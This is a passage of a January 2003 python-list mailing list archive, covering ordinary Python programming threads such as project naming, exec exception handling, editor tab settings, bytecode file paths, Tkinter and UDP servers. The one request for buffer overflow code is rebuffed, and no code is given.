Bring your musical instrument to PyCon!    http://www.python.org/pycon/






From jack at performancedrivers.com  Mon Jan 13 18:43:47 2003
From: jack at performancedrivers.com (Jack Diederich)
Date: Mon, 13 Jan 2003 18:43:47 -0500
Subject: Seeking Minimal Python Project Name
In-Reply-To: <just-ED20AC.23582713012003@news1.news.xs4all.nl>; from just@xs4all.nl on Mon, Jan 13, 2003 at 11:58:27PM +0100
References: <mailman.1042456912.31274.python-list@python.org> <dnbvva.st3.ln@beastie.ix.netcom.com> <just-ED20AC.23582713012003@news1.news.xs4all.nl>
Message-ID: <20030113184347.A13035@localhost.localdomain>

On Mon, Jan 13, 2003 at 11:58:27PM +0100, Just wrote:
> In article <dnbvva.st3.ln at beastie.ix.netcom.com>,
>  Dennis Lee Bieber <wlfraed at ix.netcom.com> wrote:
> 
> > Kow K fed this fish to the penguins on Monday 13 January 2003 03:21 am:
> > 
> > 
> > > Phyton                (simple mutation)
> > >
> >         Dangerous -- I've seen way too many occurences of that spelling 
> > already, just by folks referring to the regular Python.
> 
> Let alone that it yields 22000 google hits ;-)
> 
> Pyhton yields 2710, Ptyhon 435, Pytohn only 58.

If the main emphasis is a Python JIT

Pithon/PITthon [JIT rhyme-alike]
IT Python [In-Time Python, also conveys the fact it doesn't exist yet]
PJIT [norweigan 'Yit' pronunciation, another rhyme-alike]

This has been yet another thread I self-promised not to post on, but did
anyway.

-jackdied





From abelikov72 at hotmail.com  Thu Jan 16 16:24:02 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Thu, 16 Jan 2003 21:24:02 GMT
Subject: try exec
Message-ID: <rm7e2vk3k2n1prbaf80p89fecsgsuher9p@4ax.com>

Some code I "exec" throws a TypeError exception. I want it to throw this
exception but want to be able to catch this along with the others which
are in fact being caught by the try/except block.

The specific TypeError in this case is caused by a module-defined
function being called with the incorrect number of arguments. Again,
I want to catch this exception. The problem is, this exception, unlike
the others, is not being caught/handled by my try/except block.

Can someone tell me why this is and perhaps how I can catch it?

i=0
for line, expecting in lines:
  i+=1
  print '[%d] %s' % (i, line)
  try:
    exec line
    if expecting==0:
      printerror('this should have thrown an exception')
  except:
    print '\t '+repr(sys.exc_value.args)
    if expecting==1:
      printerror('this should not be an exception')  

---

The structure of "lines" is :

lines = [
  ('foo = MyModule.Something()',1),
  ('foo.Function("hmm")',0),
  ...etc..
]




From tismer at tismer.com  Mon Jan 13 18:47:52 2003
From: tismer at tismer.com (Christian Tismer)
Date: Tue, 14 Jan 2003 00:47:52 +0100
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann]
 Minimal Python project)
In-Reply-To: <f8rU9.1374$ob.536@nwrddc03.gnilink.net>
References: <7x8yxqduco.fsf@ruckus.brouhaha.com> <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org> <7x4r8ej1r9.fsf@ruckus.brouhaha.com> <mailman.1042393464.20506.python-list@python.org> <7x8yxqduco.fsf@ruckus.brouhaha.com> <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <mailman.1042427842.32098.python-list@python.org> <f8rU9.1374$ob.536@nwrddc03.gnilink.net>
Message-ID: <3E235028.1060204@tismer.com>

Neil Schemenauer wrote:
> Christian Tismer <tismer at tismer.com> wrote:
> 
>>Anyone having some good suggestions?
> 
> 
> Doesn't anyone know of snakes that are smaller and faster than
> pythons?  I think "mamba" a pretty cool name (as in black mamba).
> 
>  http://animal.discovery.com/fansites/wildkingdom/blackmamba/strike/strike.html
> 
> "It is known as the fastest, longest, most aggressive and
> deadliest of all venomous snakes."

I'm frightened!

Brrr. Do you really think this project deserves
such an agressive name?

probably, yes, given that you join it -- chris





From imbosol at vt.edu  Thu Jan  9 19:12:04 2003
From: imbosol at vt.edu (Carl Banks)
Date: Fri, 10 Jan 2003 00:12:04 GMT
Subject: Do pythons like sugar?
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com>  <cj5r1v4to11qdrsjcm1aiakm07adg9haob@4ax.com> <mailman.1042151380.11535.python-list@python.org>
Message-ID: <odoT9.36428$xb.5822@nwrddc02.gnilink.net>

Cliff Wells wrote:
> You might have better luck in comp.lang.lisp.

Talk about "out of the frying pan and into the fire."


-- 
CARL BANKS



From cliechti at gmx.net  Sat Jan 11 12:43:47 2003
From: cliechti at gmx.net (Chris Liechti)
Date: 11 Jan 2003 18:43:47 +0100
Subject: Scintilla / Scite tabs formatting mystery.
References: <3th02v48lkh3rrf4lu5jlu6118jb8c9v7t@4ax.com>
Message-ID: <Xns9300BEEA4C3cliechtigmxnet@62.2.16.82>

Dale Strickland-Clark <dale at riverhall.NOTHANKS.co.uk> wrote in 
news:3th02v48lkh3rrf4lu5jlu6118jb8c9v7t at 4ax.com:

> I've had quite a good hunt around now trying to understand this and
> I've failed.
> 
> I've toyed with switching to Scite from PythonWin as my primary Python
> editor because I like the way it does a few things - like the tabbar. 
> 
> However, in spite of setting all style fonts to mono-spaced I can't
> get a tab to occupy the same width as 4 spaces. This means that text
> that lines up nicely in Scite is all to cock in other editors.
> 
> I think I've set the tabs up right:
> # Indentation
> tabsize=4
> indent.size=4
> use.tabs=1

thats broken. python interprets tabs a 8. i use:

tabsize=8
indent.size=4
use.tabs=0

use.monospaced=1

the last one, means that you dont have to press "ctrl-F11" all the time to 
switch to monospaced. you dont need to change any fonts as you did (SciTex 
would still be in prportinal mode, which does maybe cause your trouble).

chris

-- 
Chris <cliechti at gmx.net>




From jbperez808 at yahoo.com  Sun Jan 19 20:15:36 2003
From: jbperez808 at yahoo.com (Jonathan P.)
Date: 19 Jan 2003 17:15:36 -0800
Subject: The benefit of properties (was Re: PEP 8: on member variables vs.  attributes)
References: <f57664b9.0301170041.46cc103e@posting.google.com> <v2fuopd3ui6o48@news.supernews.com> <3E280FE3.EB4033F@engcorp.com>
Message-ID: <f57664b9.0301191715.5d2501df@posting.google.com>

>From PEP 8:

Designing for inheritance

  ...  It's almost always preferrable to give a 
  functional interface to your class instead (and 
  some Python 2.2 developments will make this 
  much nicer)...

Do properties (what I believe is being referred to
by the phrase 'some Python 2.2 developments') count
as a functional interface?  Their usage is identical
to public variables/attributes, so I have to disagree.
    
I have yet to be fully convinced that accessor 
functions (and now, properties) are a good
abstraction.  I'm very uncomfortable about the 
idea of properties allowing side effects.  I
can't help but feel that they are yet another 
addition to that mess of conceptual kludges known 
as OOP.  OOP seems to have much less of a solid
theoretical foundation than the relational or
functional models and it shows in all the annoying
complexity you see in most OOP languages.  I
wonder if studying Smalltalk can yield some OOP
wisdom.  OOP was originally only about message
passing between objects, but it has strayed from 
the path of its (purported) initial simplicity.
( guess who/which language is to blame ;-) )

I believe that Python's language design is such 
that direct usage of 'public variables' is 
not a bad practice at all.  I'm currently building
a fairly complex class library and should be in a 
position to prove/disprove this to myself.



From ianb at colorstudy.com  Wed Jan 29 21:44:22 2003
From: ianb at colorstudy.com (Ian Bicking)
Date: 29 Jan 2003 20:44:22 -0600
Subject: PEP 304 - Controlling generation of bytecode files
In-Reply-To: <15928.10039.718507.665701@montanaro.dyndns.org>
References: <15925.46655.439046.717944@montanaro.dyndns.org>
	 <1043731567.29624.81.camel@lothlorien>
	 <15928.10039.718507.665701@montanaro.dyndns.org>
Message-ID: <1043894661.14076.16.camel@lothlorien>

On Wed, 2003-01-29 at 13:10, Skip Montanaro wrote:
>     Ian> The PEP should be unambiguous about the search path.  In
>     Ian> particular, say /foo shows up in the search path before /bar, and I
>     Ian> create a file /foo/file.py, use it and decide it should go in
>     Ian> /bar/file.py.  I likely won't delete /pycfiles/foo/file.pyc, but it
>     Ian> would be *horrible* if that outdated file got imported.  I can
>     Ian> easily imagine tearing my hair out for some time if that happened
>     Ian> and I didn't notice it.
> 
> That outdated .pyc file will get imported.  It's your responsibility to
> manage your directory tree properly.  If you think this is a bug, please
> file a report on SF (though I don't whoever responds will consider it a
> bug).

Well, it's somewhat of a bug with the current behavior (IMHO), or at
least error-prone, but the bug could be *much* worse if you have pyc
files separate from the py files.

In the current situation if you move a file you should also notice the
presence of the .pyc file.  At least, I do.  But if you are keeping your
.pyc files separate from your py files then you are more likely to miss
the stale .pyc file.  

I think the more appropriate behavior would be, at least if bytecodebase
was being used, that the .pyc files would only be loaded from that
location if the corresponding .py file existed.  If people want to use
.pyc files without .py files, then they should put those .pyc files
somewhere in sys.path, not in an implicit search path. (I don't really
like .pyc files w/o corresponding .py files anyway, but if you want to
use them they should be directly in the path).

I'm not sure if the PEP addressed that either -- if you have a search
path with /foo, and a bytecodebase of /pyc, and there's no /foo/bar.py
or /pyc/foo/bar.pyc (or /pyc/bar.pyc? either way I guess), then if
there's a /foo/bar.pyc will it be found?  

  Ian





From andrew-pythonlist at puzzling.org  Thu Jan  2 18:09:50 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Fri, 3 Jan 2003 10:09:50 +1100
Subject: Q: How to UDPServer ??
In-Reply-To: <av0o7t$18qc$1@mail.cn99.com>
References: <auvks1$atb$1@mail.cn99.com> <3E136F3A.5DA5E216@engcorp.com> <av0o7t$18qc$1@mail.cn99.com>
Message-ID: <20030102230950.GB21545@frobozz.local>

On Thu, Jan 02, 2003 at 03:03:07PM +0800, Ripper John wrote:
> 
> You are right! serve_forever() can work!
> But, how can I run both servers in a .py file?

You might find Twisted <http://twistedmatrix.com/> to be useful.  It can
listen on an arbitrary number of ports (both UDP and TCP) in a single
thread.

This doc explains how to write simple servers with Twisted:
    http://twistedmatrix.com/documents/howto/servers

-Andrew.





From coreydalejohnson at yahoo.com  Fri Jan  3 19:22:29 2003
From: coreydalejohnson at yahoo.com (corey)
Date: 3 Jan 2003 16:22:29 -0800
Subject: Port Python to PS2
Message-ID: <194e1e0a.0301031622.69bf6994@posting.google.com>

My current company is developing for the playstation 2, and I am
interested in porting python to it for the scripting engine.
The only problem is I don't know where to start. I am a lowly junior
programmer (just out of college) and this would be mainly a learning
experience for me during my free time after work. But hopefully if I
can get something working we could add python support into our next
game. I have visited Jason Asbahr's site (He ported Python to the PS2
and Gamecube) but I couldn't learn much from what he had available.
When porting do you simply use something like SWIG or pyrex so that
your python code is run through C? Or does it involve more lower level
tweaking. The PS2 has no operating system, will this make things more
difficult or does this not matter?
Any links or suggestions would be great!
Thanks,
Corey



From gerhard.haering at opus-gmbh.net  Thu Jan 23 10:07:41 2003
From: gerhard.haering at opus-gmbh.net (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 23 Jan 2003 15:07:41 GMT
Subject: Best SMTP/POP library?
References: <FEyX9.1$0L3.488@news2.news.adelphia.net> <slrnb2ten0.1gg.gerhard.haering@haering.opus-gmbh.net> <bJzX9.9$0L3.15587@news2.news.adelphia.net> <slrnb2tj3u.os.gerhard.haering@haering.opus-gmbh.net> <FVRX9.477$0L3.218162@news2.news.adelphia.net> <slrnb2vrnh.a0.gerhard.haering@haering.opus-gmbh.net> <phTX9.494$0L3.236270@news2.news.adelphia.net>
Message-ID: <slrnb3018n.1k8.gerhard.haering@haering.opus-gmbh.net>

Robert Oschler <Oschler at earthlink.net> wrote:
> "Gerhard H?ring" <gerhard.haering at opus-gmbh.net> wrote in message
> news:slrnb2vrnh.a0.gerhard.haering at haering.opus-gmbh.net...
>>
>> Putting the referenced message id in the reference line (like your OE does
> by
>> default) hardly makes sense, as this information can easily be fetched
> from the
>> In-Reply-To or References headers anyway if the need is there.
>>
> 
> And the quoting?

I'll repair the one from above so you can see how it should look like:

    >> Putting the referenced message id in the reference line (like
    >> your OE does by default) hardly makes sense, as this
    >> information can easily be fetched from the In-Reply-To or
    >> References headers anyway if the need is there.
    >
    > And the quoting?

OE's one is called "Kammquoting" in German, because the quote
characters look like a comb after one additional quote level applied:

>>
>
>>
>
>>

A correct two-level quoting should look like

>> foo bar foo bar foo bar foo bar foo bar foo bar foo bar foo bar foo
>> bar foo bar foo bar foo bar foo bar foo bar foo bar foo bar foo bar
>> foo bar foo bar foo bar

not like the Kammqouting (I don't know the English term) that OE
frequently produces.

Btw. there are some free add-ons available that make Outlook Express
behave a lot saner. You can google for "oe quotefix", "morver" and
"korrnews".

But then, what do I know - I almost never used this app :-)

Gerhard
-- 
Gerhard H?ring
OPUS GmbH M?nchen
Tel.: +49 89 - 889 49 7 - 32
http://www.opus-gmbh.net/



From mikael at isy.liu.se  Tue Jan 21 10:04:58 2003
From: mikael at isy.liu.se (Mikael Olofsson)
Date: Tue, 21 Jan 2003 16:04:58 +0100
Subject: Mutual information ?
In-Reply-To: <3E2D5446.ED54A4CF@engcorp.com>
References: <199f365a.0301210114.55b6fa54@posting.google.com>
	<3E2D5446.ED54A4CF@engcorp.com>
Message-ID: <20030121160458.2e2f2c09.mikael@isy.liu.se>

On Tue, 21 Jan 2003 09:08:06 -0500
Peter Hansen <peter at engcorp.com> wrote:
> Let us know what you find.  Better yet, let us know what the heck 
> "mutual information" actually is!  ;-)

The mutual information that I am aware of is a concept from information
theory, related to (information) entropy and channel capacity.

A quote from Cover & Tomas, "Elements of Information Theory", p 18:

    [Mutual information] is a measure of the amount of information that
    one random variable contains about another random variable.

Definition:

                                        p(x,y)
    I(X;Y) = sum     sum    p(x,y) log --------
            x in X  y in Y             p(x)p(y)

where 2 is the base of the log, and where p(*) is probability of *. If X
is the input to a noisy channel and Y is the corresponding output of
that channel, then the maximum of I(X;Y) - taken over all possible
probability distributions of X - is the capacity of that channel.

That means that if we try to communicate more independent bits than that
number (the capacity), then it is impossible to do that free of errors.
Conversely, it is possible to communicate less bits than that with a
probability of error that is arbitrarily low. That is the essence of the
so called channel coding theorem. However, that theorem only states
possibilities, not how to do that. And that is what keep the scientific
fields "information theory", "coding theory", and other related areas
alive.

It does take some time to wrap ones mind around that...

/Mikael

-----------------------------------------------------------------------
E-Mail:  mikael at isy.liu.se
WWW:     http://www.dtr.isy.liu.se/dtr/staff/mikael               
Phone:   +46 - (0)13 - 28 1343
Telefax: +46 - (0)13 - 28 1339

         /"\
         \ /     ASCII Ribbon Campaign
          X      Against HTML Mail
         / \

This message was sent by Sylpheed.
-----------------------------------------------------------------------
Link?pings kammark?r: www.kammarkoren.com




From pitkali at interia.pl  Fri Jan 31 13:14:05 2003
From: pitkali at interia.pl (pitkali)
Date: Fri, 31 Jan 2003 18:14:05 +0000 (UTC)
Subject: Installer for Python software (Linux)
References: <b17j29$e1515@imsp212.netvigator.com>
Message-ID: <b1eedc$l1k$1@news.tpi.pl>

Dnia Wed, 29 Jan 2003 12:01:12 +0800, Wouter van Marle napisa?(a):
> (and when asking the password: how to change the
> users keystrokes to *'s on the fly??)
You could use module getpass. This doesn't display *'s, but it doesn't
display password you type neither. (It turns echo off while reading it)

Cheers,
Peter Kalinowski

-- 
Slackware - everything you need, nothing you don't
++++++++ Registered Linux user no. 282090 ++++++++
JID: kali at jabberpl.org		       GG: 1482763



From skip at pobox.com  Thu Jan 23 13:06:25 2003
From: skip at pobox.com (Skip Montanaro)
Date: Thu, 23 Jan 2003 12:06:25 -0600
Subject: Best SMTP/POP library? 
In-Reply-To: <200301231738.h0NHcFjL023188@ratthing-b246.strakt.com>
References: <FEyX9.1$0L3.488@news2.news.adelphia.net>
        <mailman.1043252741.1779.python-list@python.org>
        <LtEX9.134$0L3.63489@news2.news.adelphia.net>
        <mailman.1043290900.16874.python-list@python.org>
        <JhMX9.441$0L3.173271@news2.news.adelphia.net>
        <200301231738.h0NHcFjL023188@ratthing-b246.strakt.com>
Message-ID: <15920.12065.459468.581190@montanaro.dyndns.org>

    Laura> So could I prevail on you to change your mail address to
    Laura> something that is more obviously not worth sending a reply to?

Ditto.  The thought also occurred to me, but Laura conveniently save me from
forming my thoughts on the subject properly.

Skip




From morden at shadows.net  Mon Jan 13 20:08:02 2003
From: morden at shadows.net (morden)
Date: Mon, 13 Jan 2003 17:08:02 -0800
Subject: Tk: How would I add an accelerator on a button/label in tkinter
Message-ID: <avvhn1$igm$1@bob.news.rcn.net>

Say I have this example from Lutz's book:

#!/usr/bin/python

from Tkinter import *
def cb(): print 'Hello'

Button(None, {'text':'pr~ess', 'command':cb, 
Pack:{'side':'left'}}).mainloop()

Button(None, {Pack:{'side':LEFT}}, text='press', command=cb).mainloop()

widget = Button(None, text='pres~s', command=cb)
widget.pack(side=LEFT)
widget.mainloop()

Button(None, text='press', command=cb).pack(side=LEFT)
mainloop()

root = Tk()
Button(root, text='press', command=cb).pack(side=LEFT)
root.mainloop()

# Setting config options...

widget = Button()
widget.config(text='press', command=cb)
widget.pack(side=LEFT)
widget.mainloop()

widget = Button()
widget['text'] = 'press'
widget['command'] = cb
widget.pack(side=LEFT)
widget.mainloop()


How could I make the button pressed when user presses Alt-P
on the keyboard? I saw accelerators on menus in Tk screenshots
found on the web but I haven't seen any on standalone buttons.
Is there any way to get those?




From kcrane at uiuc.edu  Sun Jan 26 12:59:04 2003
From: kcrane at uiuc.edu (Keenan Crane)
Date: Sun, 26 Jan 2003 11:59:04 -0600
Subject: Adding to a Dictionary
Message-ID: <3E3421E8.4050303@uiuc.edu>

I'm just starting out with Python and I'm having trouble figuring out 
how to add an entry to an already created dictionary.

I'm looking for something like

myDict.append('key', 'value')

Are dictionaries even mutable?  If not, how do you usually solve this 
problem?

Thanks,

Keenan Crane
kcrane at uiuc.edu




From peter at engcorp.com  Thu Jan 16 09:09:26 2003
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 16 Jan 2003 09:09:26 -0500
Subject: Convert seconds in minutes, hours, days, years ...
References: <399d6c30.0301160510.38703bfe@posting.google.com>
Message-ID: <3E26BD16.74D302DB@engcorp.com>

Loko wrote:
> 
> Isn't there an already package that contains functions to convert a
> number of seconds into year, days, hours, minutes and seconds ?

>>> import time
>>> time.localtime(1042726065)
(2003, 1, 16, 9, 7, 45, 3, 16, 0)

(The meanings of the specific fields returned can be found in the 
documentation of course.)

-Peter



From johnroth at ameritech.net  Tue Jan  7 08:14:37 2003
From: johnroth at ameritech.net (John Roth)
Date: Tue, 7 Jan 2003 08:14:37 -0500
Subject: iteration over methods
References: <3E1AB7B3.4050404@aon.at>
Message-ID: <v1lkl079pb5ib6@news.supernews.com>

"Oliver Vecernik" <vecernik at aon.at> wrote in message
news:3E1AB7B3.4050404 at aon.at...
> Hi!
>
> I've got an object with some methods:
>
> class Someclass(self):
>      def __init__(self):
>          pass
>      def method1(self):
>          pass
>      def method2(self):
>          pass
>      ...
>      def runallmethods(self):
>          for func in dir(self):
>              if func[0:4] == 'method':
>                  apply(self.func) # Does *not* work!
>
> I'd like to run all methods named 'method...' in a sequence. Has
anybody
> a clue how to achive this?

Look at the "unittest" module. It does exactly this.

John Roth
>
> Best Regards,
> Oliver
>





From mhammond at skippinet.com.au  Thu Jan 16 20:18:17 2003
From: mhammond at skippinet.com.au (Mark Hammond)
Date: Fri, 17 Jan 2003 01:18:17 GMT
Subject: buffer overflow
In-Reply-To: <XCAV9.5784$YI5.499@news2.central.cox.net>
References: <splb2vkt2lqspqjea5566dldil2t5s3v7m@4ax.com> <XCAV9.5784$YI5.499@news2.central.cox.net>
Message-ID: <tRIV9.20656$UB4.86968@news-server.bigpond.net.au>

Steve Holden wrote:
> "donoli" <eat at joes.com> wrote in message
> news:splb2vkt2lqspqjea5566dldil2t5s3v7m at 4ax.com...
> 
>>I have two machines, FreeBSD 4,2  and  W2K pro.  I'd like to test the
>>security on both of them against a buffer overflow.  If someone has
>>the code in python for a buffer overflow, please post it.
>>donoli.
> 
> 
> I've seen better social engineering in kindergarten classrooms.

I think you give the OP too much credit! <wink>

Mark.




From neal at metaslash.com  Sun Jan 12 09:31:23 2003
From: neal at metaslash.com (Neal Norwitz)
Date: Sun, 12 Jan 2003 09:31:23 -0500
Subject: Performance penalty for using classes?
References: <33803989.0301120004.76e09b9a@posting.google.com>
Message-ID: <pan.2003.01.12.14.31.20.30241.9294@metaslash.com>

On Sun, 12 Jan 2003 03:04:43 -0500, Miki Tebeka wrote:

> I need my M.Sc. to run fast but I don't want to recode it in C. I've
> noticed that using classes can cause my code to run about 30% slower.
> (See the below tests)

Perhaps you can use Python 2.3a1.  While it is only an alpha, I believe
it is very stable.  It is also a little bit faster than 2.2. :-)
./python (in clean directory) is 2.3.

Neal
--
[neal at epoch clean]$ time ./python /tmp/class_test.py 
Going 100000 iterations
* Done

real    0m2.197s
user    0m2.060s
sys     0m0.020s
[neal at epoch clean]$ time python2.2 /tmp/class_test.py 
Going 100000 iterations
* Done

real    0m5.888s
user    0m4.900s
sys     0m0.030s
[neal at epoch clean]$ time ./python /tmp/struct_test.py 
Going 100000 iterations
* Done

real    0m1.455s
user    0m1.430s
sys     0m0.010s
[neal at epoch clean]$ time python2.2 /tmp/struct_test.py 
Going 100000 iterations
* Done

real    0m3.927s
user    0m3.870s
sys     0m0.020s



From andrew at indranet.co.nz  Wed Jan  8 15:31:17 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Thu, 09 Jan 2003 09:31:17 +1300
Subject: Laura's List - was Re: new years resolutions
In-Reply-To: <2259b0e2.0301080624.572fac26@posting.google.com>
References: <mailman.1041872080.15063.python-list@python.org>
 <2259b0e2.0301070445.698adc9e@posting.google.com> 
 <200301080357.h083v0jL005109@ratthing-b246.strakt.com>
 <mailman.1041999800.30291.python-list@python.org>
 <2259b0e2.0301080624.572fac26@posting.google.com>
Message-ID: <88760000.1042057877@localhost.localdomain>

Don't the best notations look cleaner, have less 'line noise'-like glyphs 
in them?

A similar case would be standard musical notation vs midi event graph vs 
tablature.  The 'low level' versions (the latter two), while in some 
contexts both easier to learn and more direct, are far less powerful, and 
turn horrible in contexts where they don't really work. (and midi dumps are 
even worse, but that's the assembly language of digital music :-))

I was just comparing notations; of course what is being done with them is 
incomparable in some of those cases.  But that's like comparing different 
programming languages by looking at the syntax for different application 
domains.  Often that gives you a good idea how the language works, but 
often enough it doesn't.  (In the physics examples, I tried to pick cases 
where the applications didn't cloud the issue.)

Andrew

--On Wednesday, January 08, 2003 06:24:53 -0800 Michele Simionato 
<mis6 at pitt.edu> wrote:

> Andrew McGregor <andrew at indranet.co.nz> wrote in message
> news:<mailman.1041999800.30291.python-list at python.org>...
>> You can see the same thing in physics; contrast the notation of
>> classical  mechanics with the operator algebra formulation of QM.  Or
>> even the  classical vs relativistic notations for relativistic EM.
>>
>> I think the driving force is that a clean design takes more typing in
>> Perl,  whereas in Python it's usually much, much less.
>>
>> Andrew
>
> I understand you are saying "Python has a better syntax than Perl"
> and I have no problem with that. Then you pass to Physics examples and
> I am a little confused. Yes, the covariant notation for Maxwell
> equations is
> better than the nonrelativistic one, but in which sense the
> operatorial
> formalism is better than classical mechanics formalism ? They are
> interely
> different field of Physics, they cannot be compared ! Even so, I do
> not
> understand if you find more elegant the classical or the quantum
> notation,
> to me they are equally nice in their respective domain of validity.
> Of course,if I you speak of relativistic quantum fields, the best
> notation
> is the functional one.
>
> I-hope-I-have-not-scared-non-physicist-readers-ly yours,
>
> --
> Michele Simionato - Dept. of Physics and Astronomy
> 210 Allen Hall Pittsburgh PA 15260 U.S.A.
> Phone: 001-412-624-9041 Fax: 001-412-624-9163
> Home-page: http://www.phyast.pitt.edu/~micheles/
> --
> http://mail.python.org/mailman/listinfo/python-list
>
>






From NOSPAM at fusion.net.nz  Wed Jan  8 06:07:22 2003
From: NOSPAM at fusion.net.nz (Lloyd)
Date: Thu, 9 Jan 2003 00:07:22 +1300
Subject: PyType_GenericNew not calling Init/New functions
Message-ID: <qATS9.5817$j94.1122066@news02.tsnz.net>

I'm constructing a class that inherits from one of my custom C object with
PyType_GenericNew but for some reason neither the pyton classes __init__ nor
my custom C objects New/Alloc methods are being called.

Isn't PyType_GenericNew supposed to call these methods? If not, how else do
I contruct the class as doing a GetItemString for the Python class I want to
construct and that seems to return a PyType type and not a PyClass type.

Any help appreciated.






From sandskyfly at hotmail.com  Tue Jan  7 07:27:58 2003
From: sandskyfly at hotmail.com (Sandy Norton)
Date: 7 Jan 2003 04:27:58 -0800
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <dcuk1vgg1vel593evttuc99f9m5eq646i5@4ax.com>
Message-ID: <b03e80d.0301070427.6db0ff67@posting.google.com>

Afanasiy <abelikov72 at hotmail.com> wrote in message 

> On 6 Jan 2003 21:30:24 -0800, judoscript at hotmail.com (James Huang)
> wrote:
> 
> >JudoScript is a general-purpose, Java scripting,
> >multi-domain language. It is a general-purpose
> >programming language, fully capable of Java scripting,
> >and supports many applcation features in a
> >domain-specific way that include:
> 
> Can it generate text from a template such that all instances of
> <competition> are replaced with 'Python' or something else, instead
> of requiring one to write a single document for multiple audiences?
> 
> That, and spellcheck, could be useful... even novel apparently.

LOL!!!

I actually succumbed to the
language-promo-as-novel-thoughts-subterfuge and I had a skim through
judoscript's whitepaper... thinking all the time 'but did you
completely forget about jython?!' Then I read this little gem of
informative logic:

"There is no practical need to port legacy languages to Java. Take
Jython as an example. It is a myth that "Jython bridges the two worlds
of Python and Java". True, the Python community has developed a large
amount of code for many things, as has the Perl community and the Java
community today. Since Jython is fully capable of Java scripting, why
would anyone use a Python module if similar functionality exists in
Java? If not, chances are, that feature does not pertain to Java in
the first place. The real usefulness of Jython is probably its Java
scripting capability. Actually, all Java-based scripting languages are
as capable as each other to script Java. New languages like JudoScript
and Beanshell are designed for Java, so they have no historical burden
and syntax that looks totally foreign to Java programmers."

and that really was the end of my brief interlude with judoscript. 

Sandy



From vfranceschetti at virgilio.it  Thu Jan 23 09:52:05 2003
From: vfranceschetti at virgilio.it (Valentino Franceschetti)
Date: 23 Jan 2003 06:52:05 -0800
Subject: mod_python request.read problem
Message-ID: <fc44c813.0301230652.a52198@posting.google.com>

Hi,
i have these line in my module:
     lun = int(req.headers_in["content-length"])
     testo = req.read(lun)
     dummy=string.find(testo,'A')
     f=open("C:/Programmi/Apache Group/Apache2/py/post.txt","w+")
     f.write("Test :"+str(lun)+">
"+str(dummy)+"--------------"+str(len(testo)))
     f.close()

and this is the result:

Test :41009> -1--------------0

variable length is 0 instead of 41009, and the value is null
(string.find always return -1 but the character A is in the Post body.

Some suggestions?

Thanks

Valentino



From tismer at tismer.com  Sun Jan 12 12:31:44 2003
From: tismer at tismer.com (Christian Tismer)
Date: Sun, 12 Jan 2003 18:31:44 +0100
Subject: [ann] Minimal Python project
In-Reply-To: <7xsmvzw91d.fsf@ruckus.brouhaha.com>
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <3E2058FA.F676DCFC@engcorp.com> <SrZT9.121191$Hs2.11493220@kent.svc.tds.net> <v2111cf3gg193a@news.supernews.com> <HlGdnUonb9-FB72jXTWcoQ@comcast.com> <mailman.1042325780.6288.python-list@python.org> <7xsmvzw91d.fsf@ruckus.brouhaha.com>
Message-ID: <3E21A680.3090303@tismer.com>

Paul Rubin wrote:
> Christian Tismer <tismer at tismer.de> writes:
> 
>>I am very convinced that this project is able to lead to a Python
>>implementation that has a smaller code base with a minimum of C
>>code, and that runs faster than CPython.  And it will be Stackless
>>by nature.  I don't claim that this will be the result of a single
>>sprint. But this is my goal.
> 
> 
> I don't doubt that it's possible.  That's not meant as any kind of
> slight on the CPython implementers, but it's there are always great
> benefits to doing something a second time around.  

Thanks, this is very encouraging.
Yes, the current C implementation is probably
near the best compromise between readability,
maintainability and efficiency that can be
achieved with a static system.

To make substantial improvements possible, the
word "static" must go away.

> In my dreams we'd have a completely self-hosted Python implementation
> that compiles to native code on the fly, sort of like the Yale T system.

Never heard of this, but this is my dream, too.

ciao - chris

-- 
Christian Tismer             :^)   <mailto:tismer at tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/






From bitbucket at safe-mail.net  Fri Jan 31 16:39:59 2003
From: bitbucket at safe-mail.net (poiboy)
Date: 31 Jan 2003 13:39:59 -0800
Subject: php frontend, python backend
References: <bfac4f24.0301281429.6783ab5a@posting.google.com>
Message-ID: <af6b5bdd.0301311339.3a7b9914@posting.google.com>

Assuming you have access to a Python/MySQL-enabled server
(perhaps at home?), you may be able to connect the front-
and backends via RPCs like SOAP and XMLRPC.

The XMLRPC solution (probably the simplest) looks like this:

See if the webhost's PHP has XMLRPC functions enabled. 
The functions are well documented at 
http://xmlrpc-epi.sourceforge.net (look for the section 
"About xmlrpc-epi-php") and not so well documented in the 
PHP docs. This extension also supports SOAP and SimpleRPC.

If these functions aren't available, you can use the XMLRPC
includes for PHP at http://phpxmlrpc.sourceforge.net.

Use these to build your PHP client ("send function name with
parameters to backend server and wait for a reply").

Next, set up the Python XMLRPC server ("listen for requests
and process them accordingly"). There are instructions at:

http://www.onlamp.com/pub/a/python/2001/01/17/xmlrpcserver.html

and general information at 

http://www.pythonware.com/products/xmlrpc/

If you want the client and server to communicate securely 
(using SSL), the easiest way to wrap the PHP client is with
the PHP Curl (cURL, CURL, ..) extension - assuming of course
that the webhost enabled PHP with Curl and that Curl was 
enabled with SSL.

Aloha, the poiboy



From spam-me at no-thanks.com  Sat Jan 25 18:06:41 2003
From: spam-me at no-thanks.com (Aum)
Date: Sun, 26 Jan 2003 12:06:41 +1300
Subject: Replacing methods without subclassing
Message-ID: <NNEY9.47306$F63.1019882@news.xtra.co.nz>

Hi,

I notice that when I replace a method in a class instance, by doing:

